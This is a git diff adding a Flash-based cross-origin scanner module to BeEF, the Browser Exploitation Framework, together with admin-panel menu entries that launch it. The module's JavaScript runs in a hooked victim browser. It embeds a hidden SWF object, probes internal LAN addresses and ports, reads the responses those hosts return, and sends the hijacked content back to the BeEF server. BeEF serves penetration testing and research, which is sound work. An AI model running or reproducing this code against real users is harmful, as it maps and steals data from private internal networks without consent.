diff --git a/extensions/admin_ui/media/css/base.css b/extensions/admin_ui/media/css/base.css index 20899ce9a..ef4bda048 100644 --- a/extensions/admin_ui/media/css/base.css +++ b/extensions/admin_ui/media/css/base.css @@ -156,6 +156,12 @@ background-repeat: no-repeat; } +.network-host-ctxMenu-flash { + background-image: url(../images/icons/flash.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + .network-host-ctxMenu-shellshock { background-image: url(../images/icons/shellshock.png); background-size: 16px 16px; diff --git a/extensions/admin_ui/media/images/icons/flash.png b/extensions/admin_ui/media/images/icons/flash.png new file mode 100644 index 000000000..1edbaa199 Binary files /dev/null and b/extensions/admin_ui/media/images/icons/flash.png differ diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js index 98904eb12..df6441b29 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js @@ -468,7 +468,75 @@ ZombieTab_Network = function(zombie) { } }] } - }] + },{ + text: 'Flash Cross-Origin Scan', + iconCls: 'network-host-ctxMenu-flash', + menu: { + xtype: 'menu', + items: [{ + text: 'Common LAN IPs', + iconCls: 'network-host-ctxMenu-network', + handler: function() { + var mod_name = "cross_origin_scanner_flash"; + var mod_id = get_module_id(mod_name); + var ports = prompt("Enter ports to scan:", '80,8080'); + if (!ports) { + commands_statusbar.update_fail('Cancelled'); + return; + } + commands_statusbar.update_sending('Flash cross-origin scanning commonly used local area network IP addresses [ports: '+ports+'] ...'); + $jwterm.ajax({ + contentType: 'application/json', + data: JSON.stringify({"ipRange":"common","ports":ports}), + dataType: 'json', + type: 'POST', + url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, + async: false, + processData: false, + success: function(data){ + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); + }, + error: function(){ + commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']'); + } + }); + } + },{ + text: 'Specify IP Range', + iconCls: 'network-host-ctxMenu-config', + handler: function() { + var ip_range = prompt("Enter IP range to scan:", '192.168.1.1-192.168.1.254'); + if (!ip_range) { + commands_statusbar.update_fail('Cancelled'); + return; + } + var ports = prompt("Enter ports to scan:", '80,8080'); + if (!ports) { + commands_statusbar.update_fail('Cancelled'); + return; + } + var mod_name = "cross_origin_scanner_flash"; + var mod_id = get_module_id(mod_name); + commands_statusbar.update_sending('Flash cross-origin scanning ' + ip_range + ' [ports: ' + ports + '] ...'); + $jwterm.ajax({ + contentType: 'application/json', + data: JSON.stringify({"ipRange":ip_range,"ports":ports}), + dataType: 'json', + type: 'POST', + url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, + async: false, + processData: false, + success: function(data){ + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); + }, + error: function(){ + commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']'); + } + }); + } + }] + } + }] }); emptygrid_menu.showAt(e.getXY()); }, @@ -562,6 +630,33 @@ ZombieTab_Network = function(zombie) { } }); } + },{ + text: 'Flash Cross-Origin Scan', + iconCls: 'network-host-ctxMenu-flash', + handler: function() { + var mod_id = get_module_id("cross_origin_scanner_flash"); + var ports = prompt("Enter ports to scan:", '80,8080'); + if (!ports) { + commands_statusbar.update_fail('Cancelled'); + return; + } + commands_statusbar.update_sending('Flash cross-origin scanning ' + ip + ' [ports: '+ports+'] ...'); + $jwterm.ajax({ + contentType: 'application/json', + data: JSON.stringify({"ipRange":ip+'-'+ip,"ports":ports}), + dataType: 'json', + type: 'POST', + url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, + async: false, + processData: false, + success: function(data){ + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); + }, + error: function(){ + commands_statusbar.update_fail('Error sending command'); + } + }); + } },{ text: 'Port Scan', iconCls: 'network-host-ctxMenu-network', @@ -798,6 +893,67 @@ ZombieTab_Network = function(zombie) { } }] } + },{ + text: 'Flash Cross-Origin Scan', + iconCls: 'network-host-ctxMenu-cors', + menu: { + xtype: 'menu', + items: [{ + text: 'Host ('+ip+')', + iconCls: 'network-host-ctxMenu-host', + handler: function() { + var mod_id = get_module_id("cross_origin_scanner_flash"); + var ports = prompt("Enter ports to scan:", '80,8080'); + if (!ports) { + commands_statusbar.update_fail('Cancelled'); + return; + } + commands_statusbar.update_sending('Flash cross-origin scanning ' + ip + ' [ports: '+ports+'] ...'); + $jwterm.ajax({ + contentType: 'application/json', + data: JSON.stringify({"ipRange":ip+'-'+ip,"ports":ports}), + dataType: 'json', + type: 'POST', + url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, + async: false, + processData: false, + success: function(data){ + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); + }, + error: function(){ + commands_statusbar.update_fail('Error sending command'); + } + }); + } + },{ + text: 'Network ('+class_c+'.0/24)', + iconCls: 'network-host-ctxMenu-network', + handler: function() { + var mod_id = get_module_id("cross_origin_scanner_flash"); + var ports = prompt("Enter ports to scan:", '80,8080'); + if (!ports) { + commands_statusbar.update_fail('Cancelled'); + return; + } + commands_statusbar.update_sending('Flash cross-origin scanning ' + ip_range + ' [ports: '+ports+'] ...'); + $jwterm.ajax({ + contentType: 'application/json', + data: JSON.stringify({"ipRange":ip_range,"ports":ports}), + dataType: 'json', + type: 'POST', + url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, + async: false, + processData: false, + success: function(data){ + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); + }, + error: function(){ + commands_statusbar.update_fail('Error sending command'); + } + }); + } + }] + } },{ text: 'Port Scan', iconCls: 'network-host-ctxMenu-network', diff --git a/modules/network/cross_origin_scanner_flash/ContentHijacking.swf b/modules/network/cross_origin_scanner_flash/ContentHijacking.swf new file mode 100644 index 000000000..e59fa523e Binary files /dev/null and b/modules/network/cross_origin_scanner_flash/ContentHijacking.swf differ diff --git a/modules/network/cross_origin_scanner_flash/command.js b/modules/network/cross_origin_scanner_flash/command.js new file mode 100644 index 000000000..10580414f --- /dev/null +++ b/modules/network/cross_origin_scanner_flash/command.js @@ -0,0 +1,169 @@ +// +// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var ips = new Array(); + var ipRange = "<%= @ipRange %>"; + var ports = "<%= @ports %>"; + var threads = "<%= @threads %>"; + var timeout = <%= @timeout %>*1000; + var wait = 2; + + if(!beef.browser.hasFlash()) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.are.status_error()); + return; + } + + // set target ports + if (ports != null) { + ports = ports.split(','); + } + + // set target IP addresses + if (ipRange == 'common') { + // use default IPs + ips = [ + '192.168.0.1', + '192.168.0.100', + '192.168.0.254', + '192.168.1.1', + '192.168.1.100', + '192.168.1.254', + '10.0.0.1', + '10.1.1.1', + '192.168.2.1', + '192.168.2.254', + '192.168.100.1', + '192.168.100.254', + '192.168.123.1', + '192.168.123.254', + '192.168.10.1', + '192.168.10.254' + ]; + } else { + // set target IP range + var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); + if (range == null || range[1] == null) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + return; + } + // ipRange will be in the form of 192.168.0.1-192.168.0.254 + // the fourth octet will be iterated. + // (only C class IP ranges are supported atm) + ipBounds = ipRange.split('-'); + lowerBound = ipBounds[0].split('.')[3]; + upperBound = ipBounds[1].split('.')[3]; + for (var i = lowerBound; i <= upperBound; i++){ + ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; + ips.push(ipToTest); + } + } + + WorkerQueue = function(frequency) { + + var stack = []; + var timer = null; + var frequency = frequency; + var start_scan = (new Date).getTime(); + + this.process = function() { + var item = stack.shift(); + eval(item); + if (stack.length === 0) { + clearInterval(timer); + timer = null; + var interval = (new Date).getTime() - start_scan; + beef.debug("[Cross-Origin Scanner (Flash)] Worker queue is complete ["+interval+" ms]"); + return; + } + } + + this.queue = function(item) { + stack.push(item); + if (timer === null) { + timer = setInterval(this.process, frequency); + } + } + + } + + var init = function(id, port) { + var newObjectTag; + var attr = {}, param = {}; + var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/ContentHijacking.swf'; + attr = {id: 'cross_origin_flash_<%= @command_id %>_'+id+'_'+port, width: 1, height: 1, 'style': 'visibility: hidden', 'type': 'application/x-shockwave-flash', 'AllowScriptAccess': 'always'}; + param = {'AllowScriptAccess': 'always'}; + attr.data = url; + newObjectTag = createHTMLObject(attr,param); + beef.debug("[Cross-Origin Scanner (Flash)] Waiting for the new object..."); + document.body.appendChild(newObjectTag); + }; + + // create and embed Flash object + var createHTMLObject = function(attributes, parameters) { + var i, html, div, obj, attr = attributes || {}, param = parameters || {}; + html = ''; + html += ''; + div = document.createElement('div'); + div.innerHTML = html; + obj = div.firstChild; + div.removeChild(obj); + return obj; + }; + + // fetch a URL with Flash + var get_url = function(proto, host, port, id) { + var objCaller; + var url = 'http://'+host+':'+port+'/'; + beef.debug("[Cross-Origin Scanner (Flash)] Fetching URL: " + url); + objCaller = document.getElementById('cross_origin_flash_<%= @command_id %>_'+id+'_'+port); + try { + objCaller.GETURL('function(data) { '+ + 'var proto = "http";' + + 'var host = "'+host+'";' + + 'var port = "'+port+'";' + + 'var data = unescape(data);' + + 'beef.debug("[Cross-Origin Scanner (Flash)] Received data ["+host+":"+port+"]: " + data);' + + 'if (!data.match("Hijacked Contents:")) return;' + + 'var response = data.replace(/^Hijacked Contents:\\r\\n/);' + + 'var title = "";' + + 'if (response.match("(.*?)<\\/title>")) {' + + ' title = response.match("<title>(.*?)<\\/title>")[1];' + + '}' + + 'beef.debug("proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' + + ' }', url); + } catch(e) { + beef.debug("[Cross-Origin Scanner (Flash)] Could not create object: " + e.message); + } + setTimeout('document.body.removeChild(document.getElementById("cross_origin_flash_<%= @command_id %>_'+id+'_'+port+'"));', timeout); + } + + beef.debug("[Cross-Origin Scanner (Flash)] Starting scan ("+(ips.length*ports.length)+" URLs / "+threads+" workers)"); + + // create worker queue + var workers = new Array(); + for (w=0; w < threads; w++) { + workers.push(new WorkerQueue(wait*1000)); + } + + // send Flash request to each IP + var proto = 'http'; + for (var i=0; i < ips.length; i++) { + var worker = workers[i % threads]; + for (var p=0; p < ports.length; p++) { + var host = ips[i]; + var port = ports[p]; + worker.queue("init("+i+", "+port+"); setTimeout(function() {get_url('"+proto+"', '"+host+"', '"+port+"', "+i+");}, 2000)"); + } + } + +}); + diff --git a/modules/network/cross_origin_scanner_flash/config.yaml b/modules/network/cross_origin_scanner_flash/config.yaml new file mode 100644 index 000000000..4dc49c978 --- /dev/null +++ b/modules/network/cross_origin_scanner_flash/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + cross_origin_scanner_flash: + enable: true + category: "Network" + name: "Cross-Origin Scanner (Flash)" + description: "Scan an IP range for web servers which allow cross-origin requests using Flash. The HTTP response is returned to BeEF.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses.<br/><br/>This module uses ContentHijacking.swf from <a href='https://github.com/nccgroup/CrossSiteContentHijacking'>CrossSiteContentHijacking</a> by Soroush Dalili (@irsdl)." + authors: ["bcoles", "@irsdl"] + target: + working: ["C", "FF"] + not_working: ["IE", "S", "O"] diff --git a/modules/network/cross_origin_scanner_flash/module.rb b/modules/network/cross_origin_scanner_flash/module.rb new file mode 100644 index 000000000..2f610f63b --- /dev/null +++ b/modules/network/cross_origin_scanner_flash/module.rb @@ -0,0 +1,46 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Cross_origin_scanner_flash < BeEF::Core::Command + + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/cross_origin_scanner_flash/ContentHijacking.swf','/objects/ContentHijacking','swf') + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + + session_id = @datastore['beefhook'] + + # log the network service + if @datastore['results'] =~ /proto=(.+)&ip=(.+)&port=([\d]+)&title/ + proto = $1 + ip = $2 + port = $3 + type = 'HTTP Server (Flash)' + if BeEF::Filters.is_valid_ip?(ip) + print_debug("Hooked browser found HTTP server #{ip}:#{port}") + BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type) + end + end + end + + end + + def self.options + return [ + {'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'}, + {'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080'}, + {'name' => 'threads', 'ui_label' => 'Workers', 'value' => '5'}, + {'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10'} + ] + end + +end